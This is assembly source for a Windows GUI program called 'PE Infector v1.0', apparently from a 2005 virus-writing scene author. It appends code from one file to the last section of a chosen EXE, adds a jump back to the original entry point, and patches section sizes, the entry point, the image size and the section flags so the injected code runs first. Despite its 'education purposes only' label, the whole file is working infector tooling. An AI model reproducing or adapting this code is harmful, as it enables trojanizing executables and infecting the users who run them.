;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!PE EXE Infector!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ;For education purposes only ;Это ПЕ-инфектор (учебно-тестовая программа) который заражет файла %) ;заражение происходит с помощью расширения последней секции ;Как это работает? ;1. Выбираете файл в котором находиться код ;2. Выбираете файл который хотите заразить ;3. Нажимаете Infect! и файл заражается ;Техническая информация: ;1. Создаем файл-мэппинг равный размеру файла + размер кода ;2. Находим помледнюю секцию виртуально и физически ;3. Проверка не равен ли размер последней секции нулю ;4. Записывает в конец секции код учебно-тестовой программы ;5. Выравниваем новую секцию с учетом фалового выравнивания ;6. Правим - виртуальный и физический размеры секций ;7. Правим - точку входа ;8. Правим - размер образа - VirtualSize+VirtualAddress ;9. Правим - характеристики - 0a0000020h ;10. Готово! ;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! .586 .model flat,stdcall option casemap:none ;----------------------IncludeLib and Include--------------------- includelib f:\tools\masm32\lib\user32.lib includelib f:\tools\masm32\lib\kernel32.lib includelib f:\tools\masm32\lib\gdi32.lib includelib f:\tools\masm32\lib\advapi32.lib include f:\tools\masm32\include\windows.inc include f:\Tools\masm32\include\proto.inc include f:\tools\masm32\include\user32.inc include f:\tools\masm32\include\kernel32.inc include f:\tools\masm32\include\gdi32.inc include f:\tools\masm32\include\advapi32.inc include f:\tools\masm32\include\comdlg32.inc includelib f:\tools\masm32\lib\comdlg32.lib ;----------------------End IncludeLib and Include----------------- .data hWindow dd 0;Описатель окна msg MSG wc WNDCLASS hInstance dd 0;Описатель модуля TitleName db 'PE Infector v1.0 by Bill/TPOC 2005. http://vxbill.narod.ru, bill_tpoc@mail.ru',0 ClassName db 'InfectClass',0 ButtonName db 'BUTTON',0 EditName db 'EDIT',0 TitleButton db "From file",0 TitleButton1 db "To File",0 TitleButton2 db "Infect",0 ps PAINTSTRUCT <0> rect RECT <0> text db "File is ",0 FileInjectTitle db 'Path to file with inject code...',0 FileDestinationTitle db 'Path to file to infect...',0 ofn OPENFILENAME <> ofn1 OPENFILENAME <> FilterString db "All Files",0,"*.*",0,0 FilterString1 db "PE EXE Files",0,"*.exe",0,0 buffer db 1000 dup(0) buffer1 db 1000 dup(0) OurTitle db "Выбери файл с кодом для внедрения...",0 OurTitle1 db "Выбери файл куда внедрять код...",0 ErrorText db "Ошибка при создании обьекта ядра",0 ErrorTitle db "Ошибка!",0 flag1 db 0 flag2 db 0 NoSelect db "Не выбран какой-то из файлов",0 NoSelectTitle db "Ошибка",0 InfectText db "Вот бля и готово",0 Ok db "Гуд",0 SectionError db "Ошибка секции - последняя секция нулевая!",0 code db 0b8h,00,00,00,00,0ffh,0e0h .data? hButton dd ? hEdit dd ? hButton1 dd ? hEdit1 dd ? hButton3 dd ? hFileFrom dd ? hFileTo dd ? hFileMappingFrom dd ? hFileMappingTo dd ? hMappingFrom dd ? hMappingTo dd ? EntryPoint dd ? MaxOffset dd ? SizeOfLastSection dd ? pSizeOfLastSection dd ? pMemory dd ? SizeOfAfterSection dd ? FileAlignment dd ? EndOfNewSection dd ? NumberOfSections dw ? pVSizeOfLastSection dd ? pImageSize dd ? VirtualAddress dd ? VirtualSize dd ? SizeOfRawData dd ? SizeOfCode dd ? VirtualAdd dd ? pCharacters dd ? Base dd ? Point dd ? .code start: push 0 call GetModuleHandleA@4 mov hInstance,eax ;-------------------------Registry of Class-------------------------- mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_HREDRAW mov wc.lpfnWndProc,WndProc mov wc.cbClsExtra,0 mov wc.cbWndExtra,0 mov eax,hInstance mov wc.hInstance,eax push 1 push hInstance call LoadIconA@8 mov wc.hIcon,eax invoke LoadCursor,0,IDC_CROSS mov wc.hCursor,eax mov wc.hbrBackground,17 mov wc.lpszMenuName,0 mov wc.lpszClassName,offset ClassName invoke RegisterClass,offset wc ;---------------------End Registry of Class-------------------------- ;----------------------Create of Window------------------------------ invoke CreateWindowEx,0,offset ClassName,offset TitleName, WS_VISIBLE or WS_OVERLAPPED or WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT,600,100,0,0,hInstance,0 mov hWindow,eax ;------------------End Create of Window------------------------------ ;----------------------Loop of Messages------------------------------ msg_loop: invoke TranslateMessage, offset msg invoke GetMessage,offset msg,0,0,0 cmp ax,0 je end_loop invoke DispatchMessage, offset msg jmp msg_loop end_loop: invoke ExitProcess,0 ;----------------------End Loop of Messages-------------------------- ;----------------------Procedure of Window--------------------------- WndProc proc push ebp mov ebp,esp push ebx push edi push esi cmp dword ptr [ebp+0Ch],WM_DESTROY je destroy cmp dword ptr [ebp+0Ch],WM_CREATE je create cmp dword ptr [ebp+0CH],WM_PAINT je defwndproc cmp dword ptr [ebp+0Ch],WM_COMMAND je command jmp defwndproc command: mov eax,dword ptr [ebp+14h] .IF eax==hButton mov ofn.lStructSize,SIZEOF ofn push hWindow pop ofn.hWndOwner push hInstance pop ofn.hInstance mov ofn.lpstrFilter, OFFSET FilterString mov ofn.lpstrFile, OFFSET buffer mov ofn.nMaxFile,1000 mov ofn.Flags, OFN_FILEMUSTEXIST or \ OFN_PATHMUSTEXIST or OFN_LONGNAMES or\ OFN_EXPLORER or OFN_HIDEREADONLY mov ofn.lpstrTitle, OFFSET OurTitle invoke GetOpenFileName, ADDR ofn .IF eax==TRUE ;-----------------------Create FileMapping1------------------------------------------------------------------ invoke CreateFile,ofn.lpstrFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL .IF eax==INVALID_HANDLE_VALUE jmp error .ENDIF mov hFileFrom,eax invoke CreateFileMapping,hFileFrom,NULL,PAGE_READONLY,0,0,NULL .IF eax==NULL jmp error .ENDIF mov hFileMappingFrom,eax invoke MapViewOfFile,hFileMappingFrom,FILE_MAP_READ,0,0,0 .IF eax==NULL jmp error .ENDIF mov hMappingFrom,eax invoke SetWindowText,hEdit,ofn.lpstrFile mov flag1,1 ;-----------------------End Create FileMapping1----------------------------------------------------------------- .ENDIF .ELSEIF eax==hButton1 mov ofn1.lStructSize,SIZEOF ofn push hWindow pop ofn1.hWndOwner push hInstance pop ofn1.hInstance mov ofn1.lpstrFilter, OFFSET FilterString1 mov ofn1.lpstrFile, OFFSET buffer1 mov ofn1.nMaxFile,1000 mov ofn1.Flags, OFN_FILEMUSTEXIST or \ OFN_PATHMUSTEXIST or OFN_LONGNAMES or\ OFN_EXPLORER or OFN_HIDEREADONLY mov ofn.lpstrTitle, OFFSET OurTitle1 invoke GetOpenFileName, ADDR ofn1 .IF eax==TRUE invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL .IF eax==INVALID_HANDLE_VALUE jmp error .ENDIF mov hFileTo,eax invoke GetFileSize,hFileTo,NULL mov edi,eax invoke GetFileSize,hFileFrom,NULL add eax,7 mov ecx,eax mov ebx,4096 dec ebx add ecx,ebx not ebx and ecx,ebx;ecx=(x+(y-1))&(~(y-1)) add edi,ecx invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL .IF eax==NULL jmp error .ENDIF mov hFileMappingTo,eax invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0 .IF eax==NULL jmp error .ENDIF mov hMappingTo,eax invoke SetWindowText,hEdit1,ofn1.lpstrFile mov flag2,1 ;-----------------------End Create FileMapping1----------------------------------------------------------------- .ENDIF .ELSEIF eax==hButton3 .IF (flag1==1 && flag2==1);если все файлы выбраны, то заражаем ;------------------------Working withPEeader------------------------------------------------- ;-----------------------------получаем количество секций и проходим до опционального заголовка mov edi,hMappingTo assume edi:ptr IMAGE_DOS_HEADER add edi,[edi].e_lfanew;в edi - PE заголовок add edi,4;в edi - адрес файлового заголовка assume edi:ptr IMAGE_FILE_HEADER push [edi].NumberOfSections pop NumberOfSections add edi,sizeof IMAGE_FILE_HEADER;в edi - адрес опционального заголовка assume edi:ptr IMAGE_OPTIONAL_HEADER ;-----------------------------получаем VA точки входа чтобы потом ее перебить mov EntryPoint,edi add EntryPoint,16 ;-----------------------------получаем выравнивание секций push [edi].FileAlignment pop FileAlignment mov pImageSize,edi add pImageSize,56 push [edi].ImageBase pop Base push [edi].AddressOfEntryPoint pop Point ;-----------------------------переходим в таблицу секций и ищем последнюю секцию add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций assume edi:ptr IMAGE_SECTION_HEADER mov MaxOffset,0 xor ecx,ecx mov cx,NumberOfSections .WHILE ecx>0;цикл поиска смещения в файле последней секции. на выходе в MaxOffset - смещение относительно начала файла последней секции mov eax,MaxOffset .IF [edi].PointerToRawData>eax push [edi].PointerToRawData pop MaxOffset push [edi].SizeOfRawData pop SizeOfLastSection mov pSizeOfLastSection,edi add pSizeOfLastSection,16 mov pVSizeOfLastSection,edi add pVSizeOfLastSection,8 mov eax,[edi].VirtualAddress mov esi,[edi].SizeOfRawData add eax,esi mov SizeOfRawData,eax mov eax,[edi].VirtualAddress mov VirtualAdd,eax mov pCharacters,edi add pCharacters,36 .ENDIF add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции dec ecx .ENDW ;------------------------End Working with PE Header---------------------------------------------------- mov edi,pSizeOfLastSection;проверяем не нулевая ли последняя секция mov eax,dword ptr [edi] .IF eax==0 invoke MessageBox,0,offset SectionError,offset ErrorTitle,0 .ENDIF ;-----------------------------внедряем код cld mov edi,hMappingTo mov eax,MaxOffset add eax,SizeOfLastSection add edi,eax;в edi - конец последней секции, т.е адрес с которого начинать запись mov esi,hMappingFrom invoke GetFileSize,hFileFrom,NULL mov ecx,eax rep movsb;внедряем код mov esi,offset code mov eax,dword ptr [esi] mov dword ptr [edi],eax inc esi inc edi mov eax,Base add eax,Point mov dword ptr [edi],eax add edi,4 add esi,4 mov eax,dword ptr [esi] mov dword ptr [edi],eax inc edi inc esi mov eax,dword ptr [esi] mov dword ptr [edi],eax inc edi inc esi mov eax,dword ptr [esi] mov dword ptr [edi],eax ;-----------------------------это типа для заполнения нулями оставшейся части для учета FileAlignment invoke GetFileSize,hFileFrom,NULL add eax,7 mov ecx,eax mov ebx,FileAlignment dec ebx add ecx,ebx not ebx and ecx,ebx;ecx=(x+(y-1))&(~(y-1)) mov esi,edi add edi,ecx sub edi,eax .WHILE 1 mov byte ptr [esi],0 inc esi .IF esi==edi .BREAK .ENDIF .ENDW ;-----------------------------записываем новый размер последней секции ;mov EndOfNewSection,edi;EndOfNewSection - VA конец новой секции mov eax,MaxOffset add eax,hMappingTo sub edi,eax mov esi,pSizeOfLastSection mov [esi],edi;записываем новый размер секции в таблицу секций mov esi,pVSizeOfLastSection mov ecx,[esi] mov ebx,FileAlignment dec ebx add ecx,ebx not ebx and ecx,ebx;ecx=(x+(y-1))&(~(y-1)) mov dword ptr [esi],ecx invoke GetFileSize,hFileFrom,NULL;виртуальный размер - размер секции без файлового выравнивания add eax,7 add [esi],eax mov eax,dword ptr [esi] push eax mov esi,EntryPoint mov eax,SizeOfRawData mov [esi],eax;меняем точку входа pop eax mov esi,pImageSize mov edi,VirtualAdd add edi,eax mov [esi],edi;изменяем ImageSize mov esi,pCharacters mov dword ptr [esi],0A0000020h invoke MessageBox,hWindow,offset InfectText,offset Ok,0 .ELSE invoke MessageBox,hWindow,offset NoSelect,offset NoSelectTitle,0 jmp finish .ENDIF .ENDIF jmp finish error: invoke MessageBox,hWindow,offset ErrorText,offset ErrorTitle,0 jmp finish paint: jmp defwndproc ;---------------------Calling of Default windows Procedure----------- defwndproc: invoke DefWindowProc, dword ptr [ebp+08h], dword ptr [ebp+0ch], dword ptr [ebp+10h], dword ptr [ebp+14h] jmp finish ;---------------------Calling of Default windows Procedure----------- ;---------------------Destroing of Process--------------------------- destroy: invoke PostQuitMessage,0 jmp finish ;---------------------End Destroing of Process----------------------- create: ;---------------------Create Button on Window------------------------ invoke CreateWindowEx,0, offset ButtonName,offset TitleButton, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,80,35,120,30, dword ptr [ebp+08h],0, hInstance, 0 mov hButton,eax ;---------------------End Create Button on Window-------------------- ;---------------------Create Button2 on Window------------------------ invoke CreateWindowEx,0, offset ButtonName, offset TitleButton1, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,375,35,120,30, dword ptr [ebp+08h],0, hInstance,0 mov hButton1,eax ;---------------------End Create Button2 on Window-------------------- ;---------------------Create Button3 on Window------------------------ invoke CreateWindowEx,0, offset ButtonName, offset TitleButton2, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,230,35,120,30, dword ptr [ebp+08h],0, hInstance, 0 mov hButton3,eax ;---------------------End Create Button3 on Window-------------------- ;---------------------Create EditBox on Window----------------------- invoke CreateWindowEx,0, offset EditName, offset FileInjectTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,20,10,250,20, dword ptr [ebp+08h],0, hInstance,0 mov hEdit,eax ;---------------------Create EditBox on Window----------------------- ;---------------------Create EditBox2 on Window----------------------- invoke CreateWindowEx,0, offset EditName, offset FileDestinationTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,320,10,250,20, dword ptr [ebp+08h],0, hInstance, 0 mov hEdit1,eax ;---------------------Create EditBox2 on Window----------------------- jmp finish ;----------------------Backing from WinProc-------------------------- finish: pop esi pop edi pop ebx pop ebp ret 16 ;-------------------End Backing from WinProc------------------------- WndProc endp end start